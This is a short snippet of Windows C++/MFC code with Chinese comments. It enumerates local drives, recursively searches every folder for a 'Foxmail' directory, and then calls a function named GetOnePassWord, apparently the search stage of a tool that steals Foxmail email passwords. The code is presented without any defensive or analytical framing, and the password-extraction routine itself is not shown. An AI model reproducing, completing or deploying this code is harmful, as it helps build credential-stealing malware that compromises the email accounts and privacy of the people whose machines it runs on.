获取本地磁盘符号 void GetComputerDisk() //获取本地电脑的磁盘符号 { OutputDebugString("GetComputerDisk"); TCHAR buf[100]; DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf); TCHAR *s = buf; UINT IsCDRom; for (; *s; s+=_tcslen(s)+1) { /*LPCTSTR sDrivePath = s; */ CString strDisks = s; //单个盘符 IsCDRom=GetDriveType(strDisks); if (IsCDRom==DRIVE_CDROM) { OutputDebugString("CD-ROM"); continue; } OutputDebugString(strDisks); TCFindFile(strDisks); } } 遍历每个磁盘下的所有文件、文件夹 void TCFindFile(CString FilePath) { OutputDebugString("TCFindFile"); CFileFind find; CString Dir = FilePath+"*.*"; BOOL res =find.FindFile(Dir); //OutputDebugString(Dir); if (!res) { OutputDebugString("DiskScanOver!"); return; } while(res) { CString Filename; CString tmp; res = find.FindNextFile(); if (find.IsDirectory() && !find.IsDots()) //目录是文件夹 { Filename = find.GetFileName(); tmp = Dir.Left(Dir.GetLength() - 3) + Filename; if (Filename == "Foxmail") { //执行后续操作 OutputDebugString(tmp); TheRightFoxmailPath = tmp; OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"); GetOnePassWord(); return; } tmp += "//"; TCFindFile(tmp); } } }